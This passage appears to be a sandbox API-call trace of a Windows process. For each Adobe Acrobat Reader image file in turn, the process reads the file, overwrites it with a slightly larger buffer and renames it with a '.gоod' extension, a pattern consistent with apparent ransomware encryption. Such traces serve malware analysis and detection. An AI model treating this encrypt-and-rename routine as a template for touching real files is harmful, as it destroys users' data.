DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon.png.gоod")) returned 1 [0228.945] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_2x.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_2x.png", lpFilePart=0x0) returned 0x81 [0228.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0228.946] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x35d2cc8 | out: lpFileInformation=0x35d2cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x263)) returned 1 [0228.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0228.946] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_2x.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_2x.png", lpFilePart=0x0) returned 0x81 [0228.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0228.946] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_2x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0228.946] GetFileType (hFile=0x864) returned 0x1 [0228.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0228.946] GetFileType (hFile=0x864) returned 0x1 [0228.946] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x203ec788 | out: lpFileSizeHigh=0x203ec788*=0x0) returned 0x263 [0228.946] ReadFile (in: hFile=0x864, lpBuffer=0x35d32e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec6b8, lpOverlapped=0x0 | out: lpBuffer=0x35d32e8*, lpNumberOfBytesRead=0x203ec6b8*=0x263, lpOverlapped=0x0) returned 1 [0229.445] CloseHandle (hObject=0x864) returned 1 [0229.684] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_2x.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_2x.png", lpFilePart=0x0) returned 0x81 [0229.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0229.684] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_2x.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0229.686] GetFileType (hFile=0x864) returned 0x1 [0229.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0229.686] GetFileType (hFile=0x864) returned 0x1 [0229.686] WriteFile (in: hFile=0x864, lpBuffer=0x370ef78*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x203ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x370ef78*, lpNumberOfBytesWritten=0x203ec5c8*=0x270, lpOverlapped=0x0) returned 1 [0229.687] CloseHandle (hObject=0x864) returned 1 [0229.687] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_2x.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_2x.png", lpFilePart=0x0) returned 0x81 [0229.687] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_2x.png.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_2x.png.gоod", lpFilePart=0x0) returned 0x86 [0229.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0229.687] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x851d1bc1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x270)) returned 1 [0229.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0229.687] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_2x.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_2x.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_2x.png.gоod")) returned 1 [0229.688] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover.png", lpFilePart=0x0) returned 0x84 [0229.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0229.688] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover.png"), fInfoLevelId=0x0, lpFileInformation=0x3710370 | out: lpFileInformation=0x3710370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184)) returned 1 [0229.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0229.689] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover.png", lpFilePart=0x0) returned 0x84 [0229.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0229.689] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0229.689] GetFileType (hFile=0x864) returned 0x1 [0229.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0229.689] GetFileType (hFile=0x864) returned 0x1 [0229.689] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x203ec788 | out: lpFileSizeHigh=0x203ec788*=0x0) returned 0x184 [0229.689] ReadFile (in: hFile=0x864, lpBuffer=0x3710990, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec6b8, lpOverlapped=0x0 | out: lpBuffer=0x3710990*, lpNumberOfBytesRead=0x203ec6b8*=0x184, lpOverlapped=0x0) returned 1 [0229.837] CloseHandle (hObject=0x864) returned 1 [0232.640] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover.png", lpFilePart=0x0) returned 0x84 [0232.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0232.640] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0232.642] GetFileType (hFile=0x834) returned 0x1 [0232.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0232.642] GetFileType (hFile=0x834) returned 0x1 [0232.642] WriteFile (in: hFile=0x834, lpBuffer=0x376e918*, nNumberOfBytesToWrite=0x190, lpNumberOfBytesWritten=0x203ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x376e918*, lpNumberOfBytesWritten=0x203ec5c8*=0x190, lpOverlapped=0x0) returned 1 [0232.643] CloseHandle (hObject=0x834) returned 1 [0232.643] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover.png", lpFilePart=0x0) returned 0x84 [0232.643] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover.png.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover.png.gоod", lpFilePart=0x0) returned 0x89 [0232.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0232.643] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover.png"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x86e0d535, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x190)) returned 1 [0232.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0232.643] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover.png.gоod")) returned 1 [0232.644] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover_2x.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover_2x.png", lpFilePart=0x0) returned 0x87 [0232.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0232.644] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x376fd28 | out: lpFileInformation=0x376fd28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228)) returned 1 [0232.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0232.645] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover_2x.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover_2x.png", lpFilePart=0x0) returned 0x87 [0232.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0232.645] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover_2x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0232.645] GetFileType (hFile=0x834) returned 0x1 [0232.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0232.645] GetFileType (hFile=0x834) returned 0x1 [0232.645] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x203ec788 | out: lpFileSizeHigh=0x203ec788*=0x0) returned 0x228 [0232.645] ReadFile (in: hFile=0x834, lpBuffer=0x3770328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec6b8, lpOverlapped=0x0 | out: lpBuffer=0x3770328*, lpNumberOfBytesRead=0x203ec6b8*=0x228, lpOverlapped=0x0) returned 1 [0232.646] CloseHandle (hObject=0x834) returned 1 [0232.867] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover_2x.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover_2x.png", lpFilePart=0x0) returned 0x87 [0232.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0232.867] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover_2x.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0232.869] GetFileType (hFile=0x768) returned 0x1 [0232.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0232.869] GetFileType (hFile=0x768) returned 0x1 [0232.869] WriteFile (in: hFile=0x768, lpBuffer=0x38f57c8*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x203ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x38f57c8*, lpNumberOfBytesWritten=0x203ec5c8*=0x230, lpOverlapped=0x0) returned 1 [0232.869] CloseHandle (hObject=0x768) returned 1 [0232.870] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover_2x.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover_2x.png", lpFilePart=0x0) returned 0x87 [0232.870] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover_2x.png.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover_2x.png.gоod", lpFilePart=0x0) returned 0x8c [0232.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0232.870] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x870496d9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x230)) returned 1 [0232.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0232.870] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover_2x.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover_2x.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\rhp_world_icon_hover_2x.png.gоod")) returned 1 [0232.871] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning.png", lpFilePart=0x0) returned 0x77 [0232.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0232.871] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\warning.png"), fInfoLevelId=0x0, lpFileInformation=0x38f6be8 | out: lpFileInformation=0x38f6be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x266)) returned 1 [0232.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0232.871] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning.png", lpFilePart=0x0) returned 0x77 [0232.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0232.871] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\warning.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0232.871] GetFileType (hFile=0x768) returned 0x1 [0232.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0232.871] GetFileType (hFile=0x768) returned 0x1 [0232.871] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x203ec788 | out: lpFileSizeHigh=0x203ec788*=0x0) returned 0x266 [0232.871] ReadFile (in: hFile=0x768, lpBuffer=0x38f71a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec6b8, lpOverlapped=0x0 | out: lpBuffer=0x38f71a8*, lpNumberOfBytesRead=0x203ec6b8*=0x266, lpOverlapped=0x0) returned 1 [0232.872] CloseHandle (hObject=0x768) returned 1 [0233.001] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning.png", lpFilePart=0x0) returned 0x77 [0233.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0233.001] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\warning.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0233.002] GetFileType (hFile=0x630) returned 0x1 [0233.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0233.002] GetFileType (hFile=0x630) returned 0x1 [0233.002] WriteFile (in: hFile=0x630, lpBuffer=0x37cca50*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x203ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x37cca50*, lpNumberOfBytesWritten=0x203ec5c8*=0x270, lpOverlapped=0x0) returned 1 [0233.003] CloseHandle (hObject=0x630) returned 1 [0233.003] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\warning.png", lpFilePart=0x0) 